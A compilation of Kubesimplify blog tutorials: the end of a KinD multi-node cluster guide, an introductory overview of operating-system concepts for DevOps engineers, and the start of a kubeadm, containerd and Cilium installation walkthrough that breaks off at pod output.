> You can list all the active clusters by using the command `kind get clusters` .

## Creating Multi-node Cluster

To create a multi-node kind-cluster environment use the config file given below.

```powershell
# this config file contains all config fields with comments
# NOTE: this is not a particularly useful config file
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
# patch the generated kubeadm config with some extra settings
kubeadmConfigPatches:
- |
  apiVersion: kubelet.config.k8s.io/v1beta1
  kind: KubeletConfiguration
  evictionHard:
    nodefs.available: "0%"
# patch it further using a JSON 6902 patch
kubeadmConfigPatchesJSON6902:
- group: kubeadm.k8s.io
  version: v1beta3
  kind: ClusterConfiguration
  patch: |
    - op: add
      path: /apiServer/certSANs/-
      value: my-hostname
# 2 control plane node and 2 workers
nodes:
# the control plane node config
- role: control-plane
- role: control-plane
# the two workers
- role: worker
- role: worker
```

In this config file, we are creating a multi-node cluster with two control planes and 2 worker nodes, you can create more according to your requirements.

> Save the above config file as `example-config.yaml` .

You can create a cluster using a pre-defined config file by using the command `kind create cluster --config <file name>` .

```powershell
kind create cluster --config example-config.yaml
```

You can validate the multi-node clusters created by running the command `kubectl get nodes` to ensure that all nodes are running correctly.

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/83cde697-a360-4084-98dc-df0078692e75.png align="center")

To list all the running containers you can run `docker ps` .

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/3676c187-7fff-43b0-8ad8-4c5f6a246f27.png align="center")

> By running the command `grep server ~/.kube/config`, we can see that this server is the same as `kind-external-load-balancer` i.e. we are connecting with `kind-external-load-balancer`, which will directly communicate with other master nodes.
> 
> ![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/ab5a0ce5-57ef-4fe4-a4af-a50b18db50e9.png align="center")

# Deleting Cluster

You can delete the cluster by using the command given below:

```powershell
#for default clusters
kind delete cluster

#for cluster having different context name
kind delete cluster --name <context-name>
```

# Dynamic Volume Provisioning

Dynamic Volume Provisioning in Kubernetes is a mechanism that allows storage volumes to be created on demand. To accomplish this, Kubernetes Cluster employs the Storage class concept, which abstracts the details of the underlying storage. Cluster administrators must manually call their cloud or storage provider and then create Persistent Volume objects in Kubernetes without dynamic provisioning.

> Kind comes with a pre-configured default Storage Class when you create the kind cluster. To see the list of available storage classes, use the command `kubectl get sc` .
> 
> ![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/c91a291f-0b71-40ed-a708-71de742f6230.png align="center")
> 
> <mark>WaitforFirstConsumer indicates that pvc(persistent volume claim) will not be bound until it is attached to a pod.</mark>

Now, create a PVC file by using the given below code.

```powershell
# local path provisioner only supports readwriteonce
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: pvc-test
spec:
  storageClassName: standard
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 500Mi
```

> Save this file as `pvc.yaml` and run the following command to create a **persistent volume claim** from this pvc. yaml file:
> 
> ```powershell
> kubectl create -f pvc.yaml
> ```

Create another yaml file for the busybox pod by using the given below code and save it as `busybox.yaml`.

```powershell
apiVersion: v1
kind: Pod
metadata:
  name: busybox
spec:
  volumes:
  - name: host-volume
    persistentVolumeClaim:
      claimName: pvc-test
  containers:
  - image: busybox
    name: busybox
    command: ["/bin/sh"]
    args: ["-c", "sleep 600"]
    volumeMounts:
    - name: host-volume
      mountPath: /mydata
```

> Run the following command to create a pod:
> 
> ```powershell
> kubectl create-f busybox.yaml
> ```

Run the following commands to validate the persistent volume or persistent volume claim created, and to check whether the pod is running or not:

```powershell
kubectl get pv,pvc

kubectl get pods
```

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/2e3d4256-6163-4d72-ad18-8ec2f72df703.png align="center")

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/6a090583-ae64-4acc-b097-b4f857acd350.png align="center")

Now we've actually built a multi-node pvc-backed cluster and mounted it on busybox.

You must expose your service after it has been deployed to Kubernetes so that your users can access it. The cluster can be accessed from outside in three ways: ingress, load balancer, and node port.

# Exporting Cluster Logs

kind has the ability to export all kind related logs for you to explore.

```powershell
#To export all logs from the default cluster (context name kind):
kind export logs

#Like all other commands, if you want to perform the action on a cluster with a different context name use the --name flag.
kind export logs --name <context-name>
```

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/c75a4872-020d-4036-8693-291d6fdf5da3.png align="center")

As you can see, kind put all of the cluster logs in a temporary directory. If you want to specify a location, simply follow the command with the path to the directory:

![](/img/blog/getting-started-with-kind-creating-a-multi-node-local-kubernetes-cluster/0a16372d-21c1-4d37-b50d-a402865999e0.png align="center")

The structure of the logs will look more or less like this:

```powershell
├── docker-info.txt
├── kind-version.txt
├── kind-worker
    ├── containers
    ├── alternatives.log
    ├── containerd.log
    ├── images.log
    ├── serial.log
    ├── docker.log
    ├── inspect.json
    ├── journal.log
    ├── kubelet.log
    ├── kubernetes-version.txt
    └── pods/
├── kind-worker2
├── kind-control-plane
└── kind-control-plane2/
    ├── containers
    ├── alternatives.log
    ├── containerd.log
    ├── images.log
    ├── serial.log
    ├── docker.log
    ├── inspect.json
    ├── journal.log
    ├── kubelet.log
    ├── kubernetes-version.txt
    └── pods/
```

# Deploying an Application

You can use the kubectl command-line tool to deploy an application to your KinD cluster. Create a deployment definition file that contains the specifics of your application. An example deployment definition file for a simple Nginx web server is provided below:

```powershell
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.19
        ports:
        - containerPort: 80
```

Save this file as `nginx-deployment.yaml` and then run the following command to create the deployment:

```powershell
kubectl apply -f nginx-deployment.yaml
```

This command will create a deployment with three Nginx web server replicas.

To connect to the web server, you must first create a service that exposes the deployment. The following service definition file can be used to create a service:

```powershell
apiVersion: v1
kind: Service
metadata:
  name: nginx-service
spec:
  selector:
    app: nginx
  ports:
  - name: http
    port: 80
    targetPort: 80
  type: ClusterIP
```

Save this file as `nginx-service.yaml` and then run the following command to create the service:

```powershell
kubectl apply -f nginx-service.yaml
```

This command will create a ClusterIP service, which will expose the Nginx web server deployment.

To obtain the IP address of the service, use the `kubectl get services` command. You can access the Nginx web server once you have the IP address by opening a web browser and navigating to `http://<service-ip>:80`.

---

# Conclusion

There we are at the end, this blog covered how to set up a multi-node KinD cluster, including how to install KinD, configure the cluster, and deploy an application to the cluster. KinD is a useful tool for testing and development because it allows you to set up and manage a local Kubernetes cluster. KinD allows you to experiment with various configurations and deploy a wide range of applications, making it a valuable tool for any Kubernetes developer.

Don't forget to like and share this blog if you liked it. Connect with me on [**Twitter**](https://twitter.com/ChiragV01) for getting updates on more such blogs.

THANKS FOR READING !!😁✌️

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Operating Systems 101: Essential Knowledge for  DevOps/SRE Engineers

- Canonical: https://blog.kubesimplify.com/operating-systems-101-essential-knowledge-for-devopssre-engineers
- Published: 2023-03-09

When it comes to [**DevOps**](https://www.youtube.com/@kubesimplify), you may have come across some challenging concepts, such as **Kubernetes**, **Docker**, **Helm**, **Prometheus**, and others, which can be difficult to grasp without fundamental knowledge. That's why I'm starting a new blog series, called **Building a Strong Foundation in** **DevOps**/**SRE**.

It's crucial to start with the **basics** to become a **good engineer**, and I'm **committed** to providing you with a **comprehensive** understanding of these complex ideas. Ok, enough talk, let's get started.

# Introduction

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/4a4f101a-ff3b-48a1-b0a9-88dcc0ec0862.png align="center")

When it comes to your **computer**, the **operating system** plays a crucial role as the Head of everything. It acts as a **manager**, ensuring the smooth functioning of all the different parts of your **computer**, by keeping them in line. The **operating system** creates and runs the programs that make up your **computer applications**, serving as the backbone of your **computer's functionality**

So, in other words, the **operating system** acts as an intermediary between the **hardware** and the **applications** that run on the **computer**. It is responsible for managing and coordinating the use of the **computer's hardware resources**, such as **memory**, **processing power**, and **input/output devices**, as well as providing a common interface for **applications** to interact with the **hardware**

Through this, the **applications** can access the necessary resources they need to function properly, the OS makes sure everything is running smoothly and coordinating all the different parts of the **computer** in line with each other.

# History of Operating Systems

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/c77925b2-5fc0-4eac-8808-03f514bd9075.jpeg align="center")

It all begins a [**long way back**](https://homepage.cs.uri.edu/faculty/wolfe/book/Readings/Reading03.htm) from the early days of **batch processing** on **centralized mainframes**, which have evolved through time. This evolution started with the introduction of **time-sharing systems**, allowing multiple users to access the computer at once

To start with, **MS-DOS** was the first popular **personal computer operating system**. The Macintosh, introduced in 1984, revolutionized the game with the introduction of the **graphical user interface (GUI)**

In the 90s, **Windows**, introduced by **Microsoft**, combined features of the Macintosh with **MS-DOS** and became the most popular **personal computer operating system**. Today, OSes are designed particularly for different types of devices, such as **smartphones**, **servers**, and **supercomputers**.

# Functions of an Operating System

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/c18f54c9-d147-4d1a-9a40-d0e9d70ec834.jpeg align="center")

Did you see, there are a lot of **functions** that an **OS** can handle, let's understand 5 of them

### Memory Assignment

To guarantee an **appropriate amount of memory** for each program in operation and to **resolve issues** between programs, the system responsible takes care of the computer's **memory management** and **assignment** through proper handling.

### Resource Allocation

Is responsible for coordinating and efficiently utilizing various computer resources, such as **CPU time**, **memory**, and **storage**, and allocates these resources with the goal is to achieve **optimal performance** by efficiently utilizing them.

### Process Coordination

It is the central authority, to allows each program to run efficiently and without interfering with other programs and processes, and is accountable for [**orchestrating the execution**](http://web.cs.wpi.edu/~cs3013/b00/week2-procco/week2-procco.html) of programs and processes in the computer system by using efficient **resource utilization techniques**.

### Safety and Protection

To keep the computer and its information secure, the operating system comes with some safety features, like **user authentication**, **access control**, and **data protection**, all aimed at ensuring the safety and security of the computer and its data

### File Organization

Users want to access their data easily, So file system management takes care of organizing and managing how the computer stores, gets, and changes files and information. This is done by properly **organizing and managing the data** on the computer to make it easier to store and retrieve files.

# Types of Operating Systems

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/f802722c-f500-4a7c-a107-b5e533544ce4.jpeg align="center")

It comes in [various shapes and sizes](https://www.bmscw.edu.in/files/StudyMaterials/BCA/I-BCA/Types%20of%20Operating%20System-converted.pdf), each boasting its own unique set of features and abilities. Broadly speaking, the main categories of operating systems are **single-tasking** and **multitasking**

**Single-tasking** operating systems can often be found on older computers and, as the name says, they are only capable of running one program at a time. To launch a new program, the current one must first be closed. Despite the limitations of single-tasking systems, they tend to be more user-friendly and are less prone to crashes in comparison

**Multitasking OS** which quickly reacts to outside things is a **real-time system**. This kind of system is often used in things like flying, driving, and running factories, where fast reactions are very important. The real-time system can reply quickly and exactly, making it a good pick for things that need a real-time response.

# Process Management

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/55d69dc5-0a37-49da-b715-519f048b9bb3.png align="center")

**Process management** is a crucial aspect of operating systems and regards the way programs and processes are managed on a computer. The goal is to use system resources. This is gonna achieved by **creating, scheduling, executing, and monitoring processes** in a coordinated manner.

There is a thing, called a **process management system** that takes care of managing the life cycle of each process, including **allocating resources, scheduling, and synchronization**, as you see above it is also responsible for the termination of processes.

# Memory Management

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/31bc73a0-9a67-471e-963b-3eaf924a7262.png align="center")

It deals with the management and coordination of computer memory. This is done in a way that each process has enough memory to execute its tasks and the system remains stable. To achieve this goal, [**memory management**](https://web.cs.wpi.edu/~cs3013/c07/lectures/Section08-Memory_Management.pdf) involves **allocating memory to processes, freeing up memory that is no longer needed,** and ensuring that there are no conflicts between processes fighting for memory resources

This system keeps track of which parts of **memory** are being used and which parts are available for use. The goal is to make the most effective use of memory resources, provide fast memory access, and minimize memory waste and **fragmentation**.

# Storage Management

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/2f75d02f-7e80-45c3-9533-41e783fabbe3.png align="center")

It refers to the process of basically monitoring and controlling the storage of data in computer systems, with the goal **to make the best use of available storage resources** and **to minimize the risk of data loss or corruption**.

This includes tasks such as **allocating, organizing, and monitoring the use of storage resources** in order to ensure that they are being used effectively and efficiently.

# File System Management

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/648f98aa-5484-4677-ab99-7a14afa7ff65.png align="center")

Probably it's the process **of managing and organizing** the **storage** of files **and directories** on a computer. This includes tasks such as creating and deleting files, creating and managing **directories**, and managing the allocation of **storage space** to individual files and directories.

The main goal of **File System Management** in the **OS** is to provide a structured and organized way of storing and accessing data on a computer. This is achieved with the use of a **file system**, which is a way of organizing and storing data in the form of files and directories.

# Security and Access Control

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/b9efd704-f0d1-467b-b1ae-b594f39ef986.png align="center")

This is one of the important aspects of OS, [**Security Access Control (SAC)**](https://crypto.stanford.edu/cs155old/cs155-spring03/lecture9.pdf) is the process of protecting and controlling access to resources and data stored on a computer system. This includes tasks such as managing **user accounts**, setting **permissions** for access to files and directories, and controlling the execution of programs.

The task of **organizing the storage of files and directories** on a computer includes creating and deleting files, creating and managing directories, and managing the allocation of storage space to individual files and directories.

# Networking

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/038cd8ba-db37-4524-b8b9-0d9e0fd22185.png align="center")

This is the basic way how computers are connected together, **Client-Server Architecture** refers to the process of connecting computers and devices to each other to exchange data and information.

This includes tasks such as **configuring network interfaces**, setting up **communication protocols**, and managing the flow of data between devices it plays the role in enabling communication and collaboration between different devices and systems.

# Interrupts and Exception Handling

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/e16d213b-8329-433b-9c96-7bd739b3ea39.png align="center")

These are the methods used by the computer system to handle **unexpected** events or errors. **Interrupts** are signals sent to the processor indicating that an event requiring immediate attention has occurred. Examples of interrupts include **hardware events** such as a key press on the keyboard or clicking on your mouse.

**Exception handling** is the process of dealing with errors or unexpected events that occur during program execution. This includes errors such as **divide-by-zero** or illegal memory accesses this is actually represented in a **vector scale** I mean it's basically a table with the **data indexing** that what to do when an unusual thing happens.

# Deadlocks and resource allocation

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/a906ef12-84ee-437a-b000-578fb7ce9049.png align="center")

It's the concept related to the problem of managing the allocation of shared resources in a computer system. In a **multitasking** **environment**, multiple processes may request and hold onto resources simultaneously, leading to the possibility of a **deadlock**.

As I mentioned in the visual, this usually happens when two or more processes are blocked, and each is waiting for the release of a resource that is held by the other process. This creates a **circular wait condition** and the processes are unable to proceed or make progress.

To avoid these locks, a proper strategy for resource allocation is required. One common way is to use a **resource allocation algorithm** that determines the order in which resources are granted to processes. This helps in avoiding circular wait conditions and making sure that resources are efficiently utilized.

# Processor Scheduling

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/cc30d9be-73da-46b2-a5be-e73e1d6df605.png align="center")

**Process Scheduling** refers to the process of determining which tasks the processor will execute next and when. This involves making **decisions** about how to allocate the processor's time among the tasks that are waiting to be executed, based on factors such as priority, deadline, and other resource requirements.

To ensure that the processor is used effectively and efficiently so that tasks are completed in a timely manner and the overall system **performance is improved**, the operating system uses algorithms and data structures to manage the **scheduling process** in the most efficient way possible, taking into account the state of the processor and the available system resources.

# Process Synchronization

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/6a6ea92a-734b-44b5-b8e6-c242921a15b4.png align="center")

**It is the synchronization** of processes in a computer system to avoid conflicts and race conditions. This is achieved by making sure that access to shared resources, such as **data or files**, is regulated in a way that only one process at a time can access them.

Where these processes can execute concurrently without interfering with each other, which can lead to data corruption or incorrect results. This is achieved through the use of synchronization techniques such as **semaphores, monitors, and critical sections**.

# Threads

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/021873ed-4647-42cd-85fc-18d866760cd8.png align="center")

The concept of **Threads** in an operating system is all about making sure that multiple tasks can run in parallel within a single process. This allows for more efficient use of the processor's time and can lead to improved performance.

Note that: A **process** is just a program that is executing, and it can contain multiple threads. Each thread runs independently of the other threads in the same process and has its own **program counter**, **stack**, and **local variables**.

# Virtual Memory

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/e8b74e2c-866d-42dc-9e3e-c77b7731335b.png align="center")

The purpose of [virtual memory](http://web.stanford.edu/class/archive/ee/ee108b/ee108b.1082/handouts/lect.14.OS2.pdf) is to allow a computer system to run multiple programs **simultaneously** while making sure that each program has enough memory to execute properly. This is achieved by allowing each program to have its own virtual address space, which is a **portion of the memory** that is isolated from the memory of other programs.

it simply means, the operating system allocates a separate space of the hard disk to be used as an extension of the **RAM**, which acts as a **temporary storage area** for data that is not currently needed.

# File System Implementation

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/d3818c5d-df2d-4421-8e4c-648d58c01564.png align="center")

The storage of files and directories on a computer is organized and efficiently involves implementing a **File System** and managing the allocation of storage space for individual files and directories.

Includes tasks such as creating and deleting files, creating and managing directories, and using related **Index Allocation Techniques** to manage the efficient use of storage space. The implementation of the file system and related index allocation must also ensure that data remains secure and protected with the proper access control and protection mechanisms.

# OS-level services

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/769fd52d-3df2-45d4-95ba-df6c64277ef0.jpeg align="center")

**System Services** are one of the core concepts of OS, its facilities and functions are provided by the operating system to the user and applications to make it easier for them to interact with the hardware. These services are provided at the abstraction level, hiding the complexities of the underlying hardware.

Making sure these services are efficient and reliable is a crucial aspect of the operating system's functionality. There are plenty of services provided by OS including **memory management**, **process management**, **file management**, and many others. These services are designed to be flexible and customizable, allowing applications to make use of them in different ways for their specific needs.

# Design Principles

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/bb32e75c-49ab-44cd-be64-56dd470d4959.png align="center")

These are actually **guidelines** and approaches used in the creation and development of an OS. These principles aim to make sure the OS operates efficiently, is user-friendly, and provides **robust** and reliable services to applications. Some of the important [**design principles**](https://repository.dinus.ac.id/docs/ajar/Operating_System.pdf) of an OS are

### Modularity

To divide the system into **smaller**, **manageable** components that can be developed, tested, and maintained **independently**.

### Abstraction

To hide the **complexity** of the underlying hardware and present a simple and unified view to the user.

### Hierarchy

Organize the system into a **series of levels**, each building upon the services of the lower level.

# Kernel interfaces and System Utilities

![](/img/blog/operating-systems-101-essential-knowledge-for-devopssre-engineers/07a57f7b-b83f-4846-87fd-59af04e8227c.png align="center")

**System utilities** are programs that are used for various tasks such as **file management**, **process management**, and **system maintenance**. They are independent programs that run outside of the **kernel** and interact with it through the **kernel interfaces**. it provides a standard way for the system utilities to access the services of the kernel.

The design of the **kernel interfaces** and system utilities must take into account the requirements of different applications, the hardware, and the operating system, and the need to make sure that the system is efficient, reliable, and easy to use.

So here comes the end.

**Thank you** for taking the **time** to go through the extensive blog. I am certain that this information will be of great use to you and will inspire you to continue exploring the vast world of **DevOps**, see you soon with another one, and happy learning!!

# Resources

[Operating Systems Principles By Stanford, Course Code (CS111)](https://online.stanford.edu/courses/cs111-operating-systems-principles)

[Operating System Concepts By Abraham\_Silberschatz,Greg, Peter](https://books.google.co.in/books/about/Operating_System_Concepts.html?id=FHJlDwAAQBAJ&source=kp_book_description&redir_esc=y)

[Operating\_Systems\_By\_HillaryNyakundi](https://www.freecodecamp.org/news/what-is-an-os-operating-system-definition-for-beginners/)

[Operating System Full Course](https://www.youtube.com/watch?v=mXw9ruZaxzQ&ab_channel=AcademicLesson)

If you're curious or have any questions about the topic, just send me a direct message on [Twitter](https://twitter.com/K_Mohan_), I'm happy to chat and clear things up for you!

Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify)**,** and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://discord.com/invite/8s8uMRnSnH) server to learn with us.

---

# How to Install a Kubernetes Cluster with Kubeadm, Containerd, and Cilium: A Hands-On Guide

- Canonical: https://blog.kubesimplify.com/how-to-install-a-kubernetes-cluster-with-kubeadm-containerd-and-cilium-a-hands-on-guide
- Published: 2023-03-07
- Summary: cilium for kubeadm cluster

There are many ways to create a self-managed Kubernetes Cluster like [Kind](https://kind.sigs.k8s.io/), [Minikube](https://minikube.sigs.k8s.io/docs/), etc. Apart from these, there are many ways we can create managed Kubernetes clusters on cloud providers of our choice. The self-managed clusters created by the above tools are suitable for testing our workloads and integrations. Given the complexity, the kubeadm is not the most popular choice for creating a production-grade on-premise cluster. However, creating a cluster using Kubeadm can help in understanding the various components and configurations.

[Kubeadm](https://kubernetes.io/docs/reference/setup-tools/kubeadm/#:~:text=Kubeadm%20is%20a%20tool%20built,bootstrapping%2C%20not%20about%20provisioning%20machines.) is a tool that is used to bootstrap a Kubernetes cluster from scratch. It provides a way to create a fully functional, production-ready Kubernetes cluster by following a set of well-defined steps. Kubeadm is highly customizable, and it allows users to configure different aspects of the cluster, such as the network configuration, the container runtime, and the authentication and authorization policies. Kubeadm is a good choice for learning Kubernetes because it provides a more realistic simulation of a production environment and allows users to practice the cluster setup and configuration.

In this post, we shall walk through a hands-on demo of installing a two-node Kubernetes Cluster of version 1.26.0 built using the Kubeadm tool with ContainerD as a Container Runtime and Cilium as a CNI plugin.

Let's start with getting ready with our two nodes, which shall be virtual machines provisioned using VirtualBox and Vagrant. We will configure the VMs with SSH keys to enable communication between both VMs. Once we are ready with the VMs provisioned. We will start with configuring the nodes with the prerequisites like updating the packages, turning off the `swap memory`, etc.

We'll start with updating and upgrading the apt packages on both Nodes:

```bash
$ apt-get update && apt-get upgrade -y
```

> If required escalate the privileges by using the sudo privileges

Install the Kubernetes Packages using the apt repository:

`sudo apt-get install -y apt-transport-https ca-certificates curl`

Download the Google Cloud public signing key:

curl -fsSL [https://packages.cloud.google.com/apt/doc/apt-key.gpg](https://packages.cloud.google.com/apt/doc/apt-key.gpg) | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-archive-keyring.gpg

If you get an error like:

```bash
curl: (23) Failed writing body (0 != 1210)
```

This indicates the `/etc/apt/keyrings` directory does not exist. we need to create this specific directory to download the Google Cloud public signing keys.

Add the Kubernetes apt repository:

`echo "deb [signed-by=/etc/apt/keyrings/kubernetes-archive-keyring.gpg] https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee /etc/apt/sources.list.d/kubernetes.list`

Update the `apt` packages and install `kubeadm`, `kubectl`, and `kubelet` packages from the apt package:

```bash
sudo apt-get install -y kubelet=1.26.0-00 kubeadm=1.26.0-00 kubectl=1.26.0-00
```

In the above snippet, we will be installing a specific version opf the tools i.e. `v1.26.0`.

We need to place a hold on the above-installed packages for any accidental upgrades: `sudo apt-mark hold kubelet kubeadm kubectl`

> We need to repeat all the above processes on the kubenode01 as well. We can choose if we need the `kubectl` tool available on the worker node.

Once, the above steps are performed on both the ControlPlane and Worker Node. We need to perform a very important configuration on both nodes. **Disabling swap memory, enabling a couple of Kernel Modules, and updating the Settings in sysctl**.

First, we need to [disable the swap](https://github.com/kubernetes/kubernetes/issues/53533) for the kubelet to work properly, we'll do it by first checking for the `/etc/fstab` and look for a line:

`/swap.img none swap sw 0 0`

If this line is available in the `fstab` file, we can disable this setting by commenting it out. Instead of rebooting our nodes, we can apply the following command to disable the swap `sudo swapoff -a`.

Once the swap is disabled, we need to enable two kernel modules, `overlay` and `br_netfilter`:

```bash
cat <<EOF | sudo tee /etc/modules-load.d/k8s.conf
overlay
br_netfilter
EOF
```

`sudo modprobe overlay`

`sudo modprobe br_netfilter`

```bash
cat <<EOF | sudo tee /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-iptables  = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward                 = 1
EOF
```

Now, we should see the config file as below:

```bash
cat /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward = 1
```

Once the file is saved, we must reload the `sysctl`:

`sudo sysctl --system`

In the next step, we shall move ahead and install Containerd as CRI and Cilium as a CNI addon.

## Installing ContainerD

With the [depreciation of Docker](https://kodekloud.com/blog/kubernetes-removed-docker-what-happens-now/) for Kubernetes since v1.25.0, [Containerd](https://www.docker.com/blog/what-is-containerd-runtime/) is one of the preferred choices of the Ops team. Containerd is a Container-Runtime developed by Docker that manages the container lifecycle. In February 2019, Containerd became an official project within the Cloud Native Computing Foundation (CNCF).

While there are multiple ways to install Containerd, we shall be using the method of installing it using the `apt` package. The Containerd runtime needs to be installed on both nodes. The first thing to do is to enable iptables Bridged Traffic on all the Nodes and to configure the persistent loading of the necessary Containerd modules by using the following commands:

```bash
sudo tee /etc/modules-load.d/containerd.conf << EOF
overlay
br_netfilter
EOF
```

Reload the sysctl configurations with `sudo sysctl --system` command.

Install the necessary dependencies with the following command:

`sudo apt install curl gnupg2 software-properties-common apt-transport-https ca-certificates -y`

Now, we need to add the GPG keys with `curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -` command.

Adding the repository with `sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"` command.

Now, we are ready to install the Containerd package through the `apt` package manager using the following command:

```bash
sudo apt update
sudo apt install containerd.io -y
```

Once, we have successfully installed the Containerd. We need to load the Containerd configurations, for this, we might need to gain access to `sudo` privileges `sudo -i`:

```bash
mkdir -p /etc/containerd
containerd config default>/etc/containerd/config.toml
```

Now, restart the Containerd systemd service and enable it:

```bash
systemctl restart containerd
systemctl enable containerd
```

By now, we have installed Containerd as a CRI installed on both of our nodes. Now, we need to configure the Kubernetes cluster with `kubeadm` tool and install the CNI plugin of our choice.

## Configure Kubernetes Controlplane

Once, the CRI is installed successfully on both nodes, we are now ready to configure our Kubernetes Controlplane. We need to perform the following actions on the ControlPlane node we identified earlier.

```bash
$ kubeadm init --pod-network-cidr=10.1.1.0/24 --apiserver-advertise-address <IP address of the Master node>
```

> The kubeadm init command expects mainly two arguments among others. the --pod-network-cidr and --apiserver-advertise-address. The --pod-network-cidr enables inter-pod networking which we will install using Cilium and the cidr range for cilium is `10.1.1.0/24`. The --apiserver-advertise-address is the one we need to carefully assign the IP address of the Controlplane nodes API Server. We can get the IP address by using `ifconfig` or `ip a` command.

This command will configure and bootstrap the controlplane node by installing all necessary components and provide an output with a `kubeadm join` command and other settings required.

For example:

```bash
Your Kubernetes control-plane has initialized successfully!

To start using your cluster, you need to run the following as a regular user:

  mkdir -p $HOME/.kube
  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config

You should now deploy a Pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
  /docs/concepts/cluster-administration/addons/

You can now join any number of machines by running the following on each node
as root:

kubeadm join 192.168.56.11:6443 --token 1gehfl.g3n31uj4cmvnzxug --discovery-token-ca-cert-hash sha256:17a0b8da44fe941c2c00808928a6bbce54d1e7b42d77c865b3e619192949856f
```

In case we miss this join command with the token, we can create a new token with the following command to be used on the Worker node:

```bash
vagrant@kubemaster:~$ kubeadm token create --print-join-command
kubeadm join 192.168.56.11:6443 --token 1gehfl.g3n31uj4cmvnzxug --discovery-token-ca-cert-hash sha256:17a0b8da44fe941c2c00808928a6bbce54d1e7b42d77c865b3e619192949856f
```

We need to copy this `kubeadm join` command and apply this to our `kubenode01` worker node to join the cluster. Once we have applied this `join` command. We need to return to the Controlplane and configure the `kubeconfig` required for authentication to the API server.

We do this by creating a directory to place the cluster details, contexts, and credentials in the `mkdir -p $HOME/.kube` directory by coping the following:

```bash
$ sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config
```

Once this is configured, our cluster should be almost up. We can check this by using the `kubectl get nodes` command:

```bash
vagrant@kubemaster:~$ kubectl get nodes
NAME         STATUS     ROLES           AGE     VERSION
kubemaster   NotReady   control-plane   3m59s   v1.26.0
kubenode01   NotReady   <none>          8s      v1.26.0
```

We can see the Nodes are in a **NotReady** state, this is because we have not yet implemented the [Pod Networking CNI plugin](https://github.com/containernetworking/cni#3rd-party-plugins) yet. For this experiment, we shall be using [**Cilium**](https://kubernetes.io/docs/tasks/administer-cluster/network-policy-provider/cilium-network-policy/) as our networking solution.

We first download the Cilium binaries by using `curl -LO https://github.com/cilium/cilium-cli/releases/latest/download/cilium-linux-amd64.tar.gz` command. Then extract the downloaded file to your /usr/local/bin directory with the following command:

```bash
sudo tar xzvfC cilium-linux-amd64.tar.gz /usr/local/bin
rm cilium-linux-amd64.tar.gz
```

After running the above commands, you can now install Cilium with the following command: `cilium install`. Once the cilium is installed, we can check the status of the Cilium by using the `cilium status` command to confirm that the cilium is correctly installed. Once the Cilium addon is installed, we should see the Pod networking enabled and our nodes in the **Ready** state:

```bash
✅ Cilium was successfully installed! Run 'cilium status' to view installation health
$ vagrant@kubemaster:~$ kubectl get nodes
NAME         STATUS     ROLES           AGE     VERSION
$ kubemaster   NotReady   control-plane   12m     v1.26.0
kubenode01   Ready      <none>          8m17s   v1.26.0
$ vagrant@kubemaster:~$ kubectl get nodes
NAME         STATUS   ROLES           AGE     VERSION
kubemaster   Ready    control-plane   12m     v1.26.0
kubenode01   Ready    <none>          8m23s   v1.26.0
```

And all the components are successfully installed, up and running:

```bash
$ vagrant@kubemaster:~$ k get po -n kube-system
NAME                                 READY   STATUS    RESTARTS   AGE
cilium-kmvs6                         1/1     Running   0          13m50s
